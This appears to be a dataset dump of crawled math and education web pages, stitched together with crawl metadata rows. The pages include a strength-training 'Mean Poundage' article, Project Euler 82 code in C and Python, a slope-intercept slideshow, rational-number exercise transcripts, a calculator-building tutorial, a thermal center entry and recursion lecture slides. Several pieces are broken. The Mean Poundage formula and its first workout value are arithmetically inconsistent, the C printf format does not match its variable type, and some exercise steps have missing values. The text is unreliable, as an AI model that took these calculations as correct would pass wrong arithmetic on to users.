In the search for a way of quantifying progress in strength training there have been several mathematical derivations. The first to my knowledge, was the "Total Tonnage System." In this system all that is compared is the total tonnage of a set or exercise in a program. This calculation was useful but limited. It didn't give much useful information other than that the total poundage lifted per workout could be calculated and compared to that of the previous one.
But what does that really say? Total poundage of a workout can be increased by simply adding one more set of only one rep. If this is continued total tonnage numbers will definitely increase but no progress will have been made in reality, despite what the numbers may be telling you. In addition, such training could very quickly lead to overtraining.
Power Factor Training
The newest of such quantification methods is the Power Factor calculation developed by Peter Sisco and John Little. This calculation takes its roots in physics in that it is a slightly modified version of the calculation for mechanical power. These are two problems with this system though:
1) The Power Factor doesn't take distance into account. This is fine as long as the range of motion is kept constant. However Sisco and Little then developed a system of partial rep training based on the Power Factor calculation. This allowed for the use of very high poundage's, very short reps, and reduced time per set resulting in very high PF numbers. The problem is that the high PF from power factor calculations does not necessarily mean that muscle tension is higher in such sets.
2) The time dependence of the power factor calculation actually encourages quick, sloppy reps since anything that decreases the time required for a set and exercise to be completed results in higher PF's. This time decrease, resulting in higher PF doesn't necessarily mean that progress is eminent. Indeed it could cause injury, a definite progress stifler.
More Articles About Power Factor Training:
With these two calculations in mind I decided that there had to be a better way of quantifying weight training results. After careful consideration I noticed the major difference between the two systems which makes the PF slightly more useful. The top portion of the of the PF calculation is the total tonnage number! Dividing the total tonnage number by some variable seems to be a necessity if we hope to establish a useful comparison tool.
Sisco and Little used time as that variable. Though some form of time constraint and control is definitely needed, the better choice seems to be the number of sets. Since the number of is time dependant and using it as the deviser allows us to account for volume effects of training it seems that this should be the most logical choice. The resulting calculation looks like this:
Mean Poundage (MP) = (weight 1 x rep count) + (weight 2 x rep count)... for the total number of sets performed.
What this calculation really gives us is an average poundage moved per set of an exercise. This allows us to calculate the mean power output of varying set/rep schemes of various exercises and entire workouts.
The applications for this calculation are endless. In can be used to compare productivity of an entire days training plan to the next days for the same body part(s) training as long as the exercises are the same.
It is very interesting to compare workouts in this manner. One example is in comparing the progress made on a double progression scheme. Very often the double progression method employs a type of intensity cycling as shown by the following calculation. So for those who think the don't need to cycle intensity, you likely already are!
Bench Press Example Workouts:
Workout 1: 205 x 5, 205 x 6 MP = 1230 Workout 2: 210 x 5, 210 x 5 MP = 1050 Workout 3: 210 x 6, 210 x 6 MP = 1260
Notice how the number decrease in the second workout despite the use of a heavier weight and only one fewer reps. But when the reps gets back up to par in the third workout we show progress. This it actually took two weeks for true progress to become apparent.
This can actually be an advantage since it employs a type of heavy-light or more accurately high-low intensity cycling.
On the other hand a person could choose to use a smaller poundage increment which would allow him to get the full rep count at each workout.
Workout 1: 205 x 6, 205 x 6 MP = 1230 Workout 2: 207 x 6, 207 x 6 MP = 1242
The end result is the same when training is considered in two week blocks. The most important point is that you use what allows progress for the longest period of successive increases. For most trainees the seems to work best to go with smaller poundage increases but there are those who thrive on the double progression formula.
One thing should be noted about the use of this calculation. It is only useful if all other variables are kept relatively constant. These include: rep speed, and rest times. They don't need to be tracked down to the last millisecond but you should be watching the clock to make sure your workout time remains roughly the same at each session. Experiment with it a little and find what time frame suits you best, i.e. gives you the highest numbers and best progress.
Now with all of that in mind go out and Get Huge!
Keep life HEAVY! | 1,164 | 5,566 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.8125 | 3 | CC-MAIN-2017-43 | latest | en | 0.972271 |
http://progsoc.org/wiki/Euler_Solution_82 | 1,585,739,312,000,000,000 | text/html | crawl-data/CC-MAIN-2020-16/segments/1585370505730.14/warc/CC-MAIN-20200401100029-20200401130029-00232.warc.gz | 145,603,607 | 5,032 | # Solutions for Problem 82
Given an 80x80 matrix, find the lowest cost path moving from left to right and up or down as much as desired.
## C by SanguineV
I had a bug in the C code so ported to python, found the bug while porting but figured I would post both solutions anyway.
Runtime: 6.091 ms
```#include <stdio.h>
// Declare the matrix as a two dimensional array.
unsigned long matrix[80][80] = { {...} };
/* Search through the matrix updating the values along the way.
* ALGORITHM:
* 1. Start from the penultimate right hand column. For each row:
* 2. Search down the column for the cheapest cost.
* 3. Check the row above to see if it is cheaper.
* 4. Take the cheapest path to the cell and add it to the cell value.
* 5. Step one row left and start again. */
int main () {
int col,row,iter;
unsigned long curr,acc;
col = 78;
while (col >= 0) {
row = 0;
while (row < 80) {
iter = row + 1;
curr = matrix[row][col+1];
acc = 0;
while (iter < 80 && acc + matrix[iter][col] < curr) {
if (acc + matrix[iter][col] + matrix[iter][col+1] < curr) {
curr = acc + matrix[iter][col] + matrix[iter][col+1];
}
acc += matrix[iter][col];
iter++;
}
if(row > 0 && matrix[row-1][col] < curr) {
curr = matrix[row-1][col];
}
matrix[row][col] += curr;
row++;
}
col--;
}
row = 1;
curr = matrix[row][0];
while(row < 80) {
if (matrix[row][0] < curr) {
curr = matrix[row][0];
}
row++;
}
printf("Minimum path costs: %u\n",curr);
return 0;
}
```
## Python by SanguineV
Runtime: 261.145 ms
```# The matrix to check
matrix = [...]
# Search through and update - same algorithm as the C code above.
def process():
col,row,iter,curr,acc = 78,0,0,0,0
while col >= 0:
row = 0
while row < 80:
iter,curr,acc = row + 1, matrix[row][col+1],0
while iter < 80 and acc + matrix[iter][col] < curr:
if acc + matrix[iter][col] + matrix[iter][col + 1] < curr:
curr = acc + matrix[iter][col] + matrix[iter][col + 1]
acc += matrix[iter][col]
iter += 1
if row > 0 and matrix[row - 1][col] < curr:
curr = matrix[row - 1][col]
matrix[row][col] += curr
row += 1
col -= 1
# Find the smallest value in the left hand colum.
def themin():
min = matrix[0][0]
for row in xrange(1,80):
if matrix[row][0] < min:
min = matrix[row][0]
return min
# Process the matrix
process()
# Print the least cost.
print (themin())
``` | 728 | 2,277 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.640625 | 4 | CC-MAIN-2020-16 | latest | en | 0.636003 |
http://slideplayer.com/slide/767738/ | 1,511,412,515,000,000,000 | text/html | crawl-data/CC-MAIN-2017-47/segments/1510934806720.32/warc/CC-MAIN-20171123031247-20171123051247-00210.warc.gz | 263,347,247 | 21,133 | # Slope-Intercept and Standard Form
## Presentation on theme: "Slope-Intercept and Standard Form"— Presentation transcript:
Slope-Intercept and Standard Form
Linear Equations Slope-Intercept and Standard Form
Slope-Intercept Form Any linear equation can be solved for y and written like this: This form of a linear equation is called ______-_________ form.
Slope-Intercept Form The “m” represents the _____ of the line.
It is often convenient to write the slope as a fraction, since slope is defined as...
Slope-Intercept Form The “b” represents the __-__________.
(Which is where the line crosses the __-_____.) It is important to pay attention to the signs of both m and b!
y = 3x - 5 Can you determine the slope and the y-intercept of this equation? The slope is ___ Which we might choose to write as ___ (to make the “rise” and “run” more obvious)
y = 3x - 5 What about the y-intercept?
You didn’t miss the negative sign did you? We can graph this equation by first plotting the y-intercept, then plotting a second point found via the slope!
y = 3x - 5 Could you sketch the graph? First plot the y-intercept.
The “rise” is __. The “run” is __.
3x + 2y = 4 Re-write the equation in slope-intercept form.
Solve for y. Put the “x” term first on the right side of the equation. The slope is ___ and the y-int is ___.
y = -3/2x + 2 Now graph the linear equation.
Writing a Linear Equation
Suppose you were given a point on a line and a slope. Could you write the equation of the line? How could you find the y-intercept?
m = 2/3 and the line contains (-3,-2)
Since we know the slope and at least one value of x and y that makes the equation true, we can simply substitute and solve!
Writing a Linear Equation
Now we know both the slope and the y-intercept. Can you write the equation in both slope-intercept and standard form? Write the equation in slope-intercept form. | 479 | 1,882 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.90625 | 5 | CC-MAIN-2017-47 | longest | en | 0.934504 |
https://www.teachoo.com/7773/2536/Ex-9.1--8/category/Ex-9.1/ | 1,723,301,372,000,000,000 | text/html | crawl-data/CC-MAIN-2024-33/segments/1722640808362.59/warc/CC-MAIN-20240810124327-20240810154327-00813.warc.gz | 784,050,376 | 23,261 | Ex 8.1
Chapter 8 Class 7 Rational Numbers
Serial order wise
### Transcript
Ex 8.1, 8 Fill in the boxes with the correct symbol out of >, <, and = (i) (−5)/( 7) ⎕ 2/3 (−5)/7 ⎕ 2/3 Since negative number is always smaller than positive (−5)/7 < 2/3 Ex 8.1, 8 Fill in the boxes with the correct symbol out of >, <, and = (ii) (−4)/5 ⎕ (−5)/( 7) (−4)/5 ⎕ (−5)/( 7) Since both are negative, We ignore the signs 4/5 & 5/7 We compare these two numbers. 4/5 & 5/7 Since denominator in different, We make it same Common denominator = L.C.M of 5 & 7 = 5 × 7 = 35 So, 4/5 = 5/7 = Therefore, 28/35 > 25/35 i.e. 4/5 > 5/7 Multiplying –1 both sides 4/5 × –1 < 5/7 × –1 (−𝟒)/𝟓 < (−𝟓)/𝟕 Ex 8.1, 8 Fill in the boxes with the correct symbol out of >, <, and = (iii) (−7)/( 8) ⎕ 14/(−16) (−7)/8 ⎕ 14/(−16) Writing 14/(−16) in standard form 14/(−16) = (−14)/16 = (−14)/16 = (−7)/8 So, both numbers are (−7)/8 ∴ They are same (−𝟕)/𝟖 = 𝟏𝟒/(−𝟏𝟔) Ex 8.1, 8 Fill in the boxes with the correct symbol out of >, <, and = (iv) (−8)/5 ⎕ (−7)/4(−8)/5 ⎕ (−7)/( 4) Since both are negative, We ignore the signs 8/5 & 7/4 We compare these two numbers. 8/5 & 7/4 Since denominator in different, We make it same Common denominator = L.C.M of 4 & 5 = 2 × 2 × 5 = 20 So, 8/5 = 7/4 = Therefore, 32/20 < 35/20 i.e. 8/5 < 7/4 Multiplying –1 both sides 8/5 × –1 > 7/4 × –1 (−𝟖)/𝟓 > (−𝟕)/𝟒 Ex 8.1, 8 Fill in the boxes with the correct symbol out of >, <, and = (v) 1/(−3) ⎕ (−1)/41/(−3) ⎕ (−1)/( 4) Since both are negative, We ignore the signs 1/3 & 1/4 We compare these two numbers. 1/3 & 1/4 Since denominator in different, We make it same Common denominator = L.C.M of 3 & 4 = 2 × 2 × 3 = 12 So, 1/3 = 1/4 = Therefore, 4/12 > 3/12 i.e. 1/3 > 1/4 Multiplying –1 both sides 1/3 × –1 < 1/4 × –1 (−𝟏)/𝟑 < (−𝟏)/𝟒 Ex 8.1, 8 Fill in the boxes with the correct symbol out of >, <, and = (vi) 5/( −11) ⎕ (−5)/11 5/(−11) ⎕ (−5)/( 11) (−5)/11 ⎕ (−5)/( 11) (−𝟓)/𝟏𝟏 = (−𝟓)/( 𝟏𝟏) Ex 8.1, 8 Fill in the boxes with the correct symbol out of >, <, and = (vii) 0 ⎕ (−7)/6 0 ⎕ (−7)/( 6) Since negative number is always less than 0 ∴ 0 is greater than any negative number 0 > (−𝟕)/𝟔 | 993 | 2,124 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.84375 | 5 | CC-MAIN-2024-33 | latest | en | 0.845111 |
https://planetcalc.com/1022/?license=1 | 1,716,713,953,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971058872.68/warc/CC-MAIN-20240526074314-20240526104314-00271.warc.gz | 388,552,230 | 11,260 | # Tank volume
Calculator computes tank volume given its length, diameter and walls depth. Created by user's request.
### This page exists due to the efforts of the following people:
#### Timur
Created: 2010-09-18 21:04:10, Last updated: 2020-11-03 14:19:28
This content is licensed under Creative Commons Attribution/Share-Alike License 3.0 (Unported). That means you may freely redistribute or modify this content under the same license conditions and must attribute the original author by placing a hyperlink from your site to this work https://planetcalc.com/1022/. Also, please do not modify any references to the original work (if any) contained in this content.
One of users asks for a calculator, which can compute tank volume given its length, diameter and walls depth. Here it is.
#### Tank volume
Digits after the decimal point: 3
Used volume in cubic meters
Walls volume in cubic meters
Total volume in cubic meters
Since it is quite simple, I decided to use it as example and eventually write
## Step-by-step guide: How to create online calculator
cause this site is GUI and engine for online calculators, that is - calculators authoring tool.
There are only two prerequisites for author: first, he should be registered user, second, he should be able to code what he wants to compute in Javascript.
### Step 1
Go to "My calculators" page and choose "Create new..." -> "Calculator". This will open calculator editor.
### Step 2
First, fill "Name" and "Description" fields. Description is used in lists.
### Step 3
Now, we should add input parameters, which are (in our case) length, diameter and walls depth. Toolbar is used for adding and removing various calculators parameters, but now we need only simple input parameters. Press the button with "in" mark. This will open parameter editor dialog. Fill it like on the picture below. Note that "Variable" field is the name of the variable, which then will be available in Javascript. I hope that other fields are self-descriptive.
### Step 4
Repeat the same for the "diameter" parameter
### Step 5
And for the "depth" parameter
### Step 6
Now we should add simple output parameters. In our case these are used volume, total volume and walls volume. Press the button with "out" mark. This will open parameter editor dialog.
### Step 7
Fill dialog for the "used" parameter like on the picture below.
### Step 8
Repeat the same for the "walls" parameter
### Step 9
And for the "total" parameter
### Step 10
Now, when all ins and outs are in place, we can start coding. Those who knows Javascript should have no problem with the code on the picture below except one thing - how output parameters are handled. You can't just assign computed values to them, that won't do the trick. You have to use special method SetValue and pass computed value as parameter of this method. These are last three lines of code. Except that it is plain Javascript.
### Step 11
Now you can fill in some tags for better classification and press "Preview" button
### Step 12
On preview page you can check how it is working and return to editing or decide to publish it. If later, press "Publish" button
### Step 13
After publishing, calculator receives unique URL.
### Step 14
Now, each calculator, like this one, needs couple of words for other visitors like why it is done and how to use it, etc. This is done with article. Note that it is not a calculators, it is articles, which are listed on site. So, choose "Create new..." -> "Article" and this will open article editor.
### Step 15
In article editor, write couple of words about calculator, and press first toolbar button to insert calculator into article
### Step 16
Locate and choose your newly created calculator
### Step 17
It will be pasted into article text with brackets.
### Step 18
Press "Save". On save page you can preview your article and decide that it is ready for publishing. Article publishing assigns unique URL to the article and lists it on site navigation.
The end.
URL copied to clipboard
#### Similar calculators
PLANETCALC, Tank volume | 929 | 4,106 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.125 | 3 | CC-MAIN-2024-22 | latest | en | 0.862071 |
https://demo.formulasearchengine.com/wiki/Thermal_center | 1,580,253,666,000,000,000 | text/html | crawl-data/CC-MAIN-2020-05/segments/1579251783342.96/warc/CC-MAIN-20200128215526-20200129005526-00005.warc.gz | 407,746,249 | 17,946 | # Thermal center
Picture of the thermal center.
The thermal center is a concept used in applied mechanics and engineering. When a solid body is exposed to a thermal variation, an expansion will occur, changing the dimensions and potentially the shape of the body and the position of its points. Under certain circumstances it may happen that one point belonging to the space associated to the body has no displacement at all: this point is called the thermal center (TC).[1]
## Applications
The thermal center position is not affected by a thermal expansion: this property makes the TC a very interesting point in those applications where it is important that thermal variations have no effects on a certain process. Photolitography machines and high precision optical instruments are some examples of application of this concept.
## Definition
Picture A: geometric construction of the thermal center: under the mentioned hypothesis, thermal center position is only function of the constraints. Picture B: This is an example of thermal center not defined, since the geometrical construction leads to different points for different expansions.
The thermal center is defined under the following hypothesis:
• A solid body with homogeneous and isotropic thermal properties;
• Isostatically constrained;
• A thermal variation ΔT is applied to the entire body.
The thermal variation will produce an expansion of the body: this means that for each couple of points P and Q the distance will become:
where ${\displaystyle K=1+\alpha \cdot \Delta T}$, ${\displaystyle \alpha }$ is the coefficient of thermal expansion. Analyzing this phenomenon in an absolute coordinate system, the transformation of the solid body is a geometrical similarity. It is possible that, choosing the constrains conveniently, one point belonging to the space associated to the body will not move during the thermal variation: this point is called thermal center. In this case, the geometrical similarity becomes an homothety and the thermal center is the center of the homothety itself.
The thermal center does not always exist. The TC is a function of the constraints. Picture B shows an example where the geometry of the constraints doesn't come to a unique point.
The TC may exist even if the body has non-homogeneous isotropic thermal properties, but when this condition is not verified, it's not possible to determine its position by using the simple geometric method shown above, and the transformation will not be a homothety. | 481 | 2,515 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 3, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.21875 | 3 | CC-MAIN-2020-05 | longest | en | 0.870137 |
https://books.google.co.ls/books?id=p7BIAAAAMAAJ&dq=editions:ISBN1107497817&lr=&source=gbs_book_other_versions_r&cad=3 | 1,702,274,912,000,000,000 | text/html | crawl-data/CC-MAIN-2023-50/segments/1700679103558.93/warc/CC-MAIN-20231211045204-20231211075204-00842.warc.gz | 175,864,803 | 10,538 | # A Treatise on Surveying: Containing the Theory and Practice ; to which is Prefixed a Perspicuous System of Plane Trigonometry : the Whole Clearly Demonstrated and Illustrated by a Large Number of Appropriate Examples, Particularly Adapted to the Use of Schools
Kimber & Sharpless, 1833 - 368 pages
### Popular passages
Page 35 - The circumference of every circle is supposed to be divided into 360 equal parts, called degrees ; each degree into 60 equal parts, called minutes ; and each minute into 60 equal parts, called seconds.
Page 44 - The angle at the centre of a circle is double of the angle at the circumference upon the same base, that is, upon the same part of the circumference.
Page 79 - A maypole, whose top was broken off by a blast of wind, struck the ground at 15 feet distance from the foot of the pole: what was the height of the whole maypole, supposing the broken piece to measure 39 feet in length ? Ans.
Page 25 - A plane rectilineal angle is the inclination of two straight lines to one another, which meet together, but are not in the same straight line.
Page 52 - TO THEIR DIFFERENCE ; So IS THE TANGENT OF HALF THE SUM OF THE OPPOSITE ANGLES', To THE TANGENT OF HALF THEIR DIFFERENCE.
Page 127 - From half the sum of the three sides, subtract each side severally; multiply the half sum, and the three remainders together, and the square root of the product will be the area required. Example. — Required the area of a triangle, whose sides are 50, 40, and 30 feet. 50 + 40+30 ; — 60, half the sum of the three sides.
Page 28 - A diameter of a circle is a straight line drawn through the centre, and terminated both ways by the circumference.
Page 36 - Sine, or Right Sine, of an arc, is the line drawn from one extremity of the arc, perpendicular to the diameter which passes through the other extremity. Thus, BF is the sine of the arc AB, or of the supplemental arc BDE.
Page 26 - Parallel straight lines are such as are in the same plane, and which being produced ever so far both ways, do not meet.
Page 25 - A plane superficies is that in which any two points being taken, the straight line between them lies wholly in that superficies. 8. A plane angle is the inclination of two lines to one another in a plane, which meet together, but are not in the same direction. | 552 | 2,305 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.84375 | 4 | CC-MAIN-2023-50 | latest | en | 0.911466 |
http://www.expertsmind.com/questions/solid-geometry-301142004.aspx | 1,624,525,854,000,000,000 | text/html | crawl-data/CC-MAIN-2021-25/segments/1623488552937.93/warc/CC-MAIN-20210624075940-20210624105940-00125.warc.gz | 59,736,084 | 11,917 | ## solid geometry, Mathematics
Assignment Help:
what is solid geometry and uses of solid geometry
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Hello there I have question about convergence of pth root of square matrix? Do you have any expert in numerical analysis ?
#### Calculate the monthly payment amount of the loan, Consider a student loan o...
Consider a student loan of \$12,500 at a fixed APR of 12% for 25 years, 1. What is the monthly payment amount? 2. What is the total payment over the term of the loan? 3. OF | 328 | 1,293 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.84375 | 3 | CC-MAIN-2021-25 | latest | en | 0.917415 |
http://www.chegg.com/homework-help/questions-and-answers/1-n-1-wedefine-union-sets-a1-inductivelyby-a1-uuan-a1-n-1-a1u-u-1-u-n-1-let-a1--sets-n-1-p-q607712 | 1,455,385,195,000,000,000 | text/html | crawl-data/CC-MAIN-2016-07/segments/1454701167113.3/warc/CC-MAIN-20160205193927-00300-ip-10-236-182-209.ec2.internal.warc.gz | 329,659,504 | 13,507 | 1. For n > 1 wedefine the union of sets A1...An inductivelyby
A1 U...UAn = {A1 : n=1
(A1U ...U An-1) U An : n>1
Let A, A1,...,An be sets,where n>1. Prove, by induction,that
A ∩ (A1 U...UAn) =(A ∩ A1) U...U(A ∩An).
[You may assumeA ∩ (B U C) =(A ∩ B) U(A ∩ C) for setsA;B;C.]
I have no idea how to do this byinduction. How do I figure out what P(n) is? Will rateasap. Due tomorrow. Thanks! | 173 | 432 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.875 | 3 | CC-MAIN-2016-07 | latest | en | 0.751161 |
https://cosmolearning.org/video-lectures/regression-how-works/ | 1,675,522,550,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764500140.36/warc/CC-MAIN-20230204142302-20230204172302-00640.warc.gz | 198,180,415 | 11,346 | Regression How it Works
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Lecture Description
Welcome to the seventh part of our machine learning regression tutorial within our Machine Learning with Python tutorial series. Up to this point, you have been shown the value of linear regression and how to apply it with Scikit Learn and Python, now we're going to dive into how it is calculated. While I do not believe it is necessary to dig into all of the math that goes into every machine learning algorithm (have you dug into the source code of your other favorite modules to see how they do every little thing?), linear algebra is essential to machine learning, and it is useful to understand the true building blocks that machine learning is built upon.
The objective of linear algebra is to calculate relationships of points in vector space. This is used for a variety of things, but one day, someone got the wild idea to do this with features of a dataset. We can too! Remember before when we defined the type of data that linear regression was going to work on was called "continuous" data? This is not so much due to what people just so happen to use linear regression for, it is due to the math that makes it up. Simple linear regression is used to find the best fit line of a dataset. If the data isn't continuous, there really isn't going to be a best fit line
pythonprogramming.net | 303 | 1,424 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.71875 | 3 | CC-MAIN-2023-06 | longest | en | 0.956026 |
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## An Integrated Approach for Young Students
by Kathy Owens
January 2001
First- and second-grade students are very enthusiastic about learning mathematics when activities are integrated into thematic units. Even in the early grades, they understand that numbers help them make sense of the world, and I reap the benefits of working with motivated students.
Measuring, organizing data, and graphing activities are mathematical concepts that can easily be integrated into most units; money and time concepts can be incorporated whenever possible. However, simply measuring a length or drawing a graph does not make a thematic unit a mathematical lesson. In thematic units in my class, the students have opportunities to pose problems for their peers to solve. This process develops reading and writing skills while reinforcing mathematical concepts.
To avoid the frustration associated with too much writing in the early grades, I occasionally give students problem starters to make them think. After analyzing specific data with my students, I design a fill-in-the blank problem for them to complete and solve. For example, students use an animal-speed data chart to fill in the blanks and solve the following problem:
How much faster can a _________ run than a ____________?
I encourage creative writing and multistep solutions for students who are motivated to write complex problems. The following problem was created by a student:
A cheetah named Speedy runs 70 miles an hour. His friend, Sam, the hyena, lives 210 miles away. Speedy started on a trip to visit Sam at 2 PM What time did he get to Sam's house?
Mathematics activities are integrated into all units in my class. The following list describes problems and activities that students address in a thematic unit on birds.
1. Students invent recipes for bird treats and mix the ingredients to create different combinations. An example of an activity is "Use 1/2-cup and 1/4-cup measures of various seeds, mix with suet, wrap in plastic, freeze, and hang outside. Write your recipes using fractions."
2. After studying data, students make graphs to illustrate birds' weights, wingspans, egg sizes, wing beats per second, distances traveled during migration, flying speeds, and so on.
3. Students measure and compare students' arm spans to birds' wingspans.
4. Students write word problems using data from problem 2. They share their problems with other students in the class.
5. Students count and record the total number of birds visiting the school grounds. They make a pie graph to illustrate each species as a part of the whole.
6. Students visit a local bird store. They then set up in the classroom a mock bird store, where bird food and products can be bought and sold.
7. Students visit a local pet store and compare prices for various birds. They are challenged by such questions as, How much more does a parrot cost than a finch?
8. Students design and, if possible, construct bird feeders or birdhouses. They use metric measurements and determine the surface area of the completed structures.
9. Students illustrate or graph egg weights. How many chicken eggs equal one ostrich egg? How many chicken eggs equal one elephant bird egg?
In addition to motivating students and reinforcing mathematics, integrated activities are an excellent tool for assessing students' understanding of mathematics. And last, but not least, the colorful projects generated by students look beautiful on the classroom walls.
Kathy Owens teaches a first-and-second-grade combination class at Sussex School in Missoula, Montana. She is enjoying her twentieth year of teaching at Sussex.
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https://www.coursehero.com/file/5780328/lecture5/ | 1,529,945,585,000,000,000 | text/html | crawl-data/CC-MAIN-2018-26/segments/1529267868135.87/warc/CC-MAIN-20180625150537-20180625170537-00117.warc.gz | 774,929,440 | 455,659 | lecture5
# lecture5 - E7 Spring 2010 Lecture 5 Raja Sengupta College...
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E7 Spring 2010: Lecture 5 Raja Sengupta College of Engineering University of California, Berkeley
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What is the shape of BART’s speed as it travels between stations? The train accelerates from rest at 1.5 m/s2 for 20 seconds, travels at steady speed for 2 minutes, and decelerates again for 20 seconds at the same rate. Plot the speed profile of the train. What will the speed profile look like?
Answer: Like a trapezium 0 20 140 160 Slope 1.5 m/s 2 Slope -1.5 m/s 2 Speed Seconds
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From lecture 3: trapezium(x) sets
From lecture 3: Code function out = myTrapezium(in) if lt(in,-2) out = 0; elseif and(ge(in,-2),lt(in,-1)) out = in + 2; elseif and(ge(in,-1),lt(in,1)) out = 1; elseif and(ge(in,1),lt(in,2)) out = -(in-2); else out = 0; end end
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To get a nice plot we need to compute our trapezium function over and over again How do we write a program that will compute the same function many times? mT(0) mT(1.5) mT(1) mT(2)
How would we compute the Mandelbrot Set?
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Topics • Recursion – How do we make a computer do something n times, where n is large, or we do not know the value of n beforehand?
Textbook The textbook does not discuss this topic Try http://en.wikipedia.org/wiki/Recursion
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Aim: Write a program that will compute myTrapezium for an array of points. We should be able to make the array as large as we like. Mathematically this may be stated as: Program the function myTrapeziumArray defined below myTrapeziumArray([v 1 v 2 …..v n ]) = [myTrapezium(v 1 ) myTrapezium(v 2 ) ….….myTrapezium(v n )] n could be any number in {1, 2, 3, …..}
To get a nice plot we need to compute our trapezium function over and over again mT(0) mT(1.5) mT(1) mT(2) Example: [v1 v2 v3 v4] = [0 1 1.5 2] Problem: Compute myTrapeziumArray ([0 1 1.5 2])
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Aim: Write a program that will compute myTrapezium for an array of points. We should be able to make the array as large as we like. Mathematically this may be stated as: Program the function myTrapeziumArray defined below myTrapeziumArray([v 1 v 2 …..v n ]) = [myTrapezium(v 1 ) myTrapezium(v 2 ) ….….myTrapezium(v n )] n could be any number in {1, 2, 3, …..} How do we program the ….?
One way of doing this: Figure out how to define the function recursively Previous definition myTrapeziumArray([v 1 v 2 …..v n ]) = [myTrapezium(v 1 ) myTrapezium(v 2 ) ….….myTrapezium(v n )] Recursive definition myTrapeziumArray([v 1 v 2 …..v n ]) = [myTrapezium(v 1 ) myTrapeziumArray([v 2 …..v n ]) if n >=2 = [myTrapezium(v n )] if n = 1
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From lecture 3 we know how to do myTrapezium
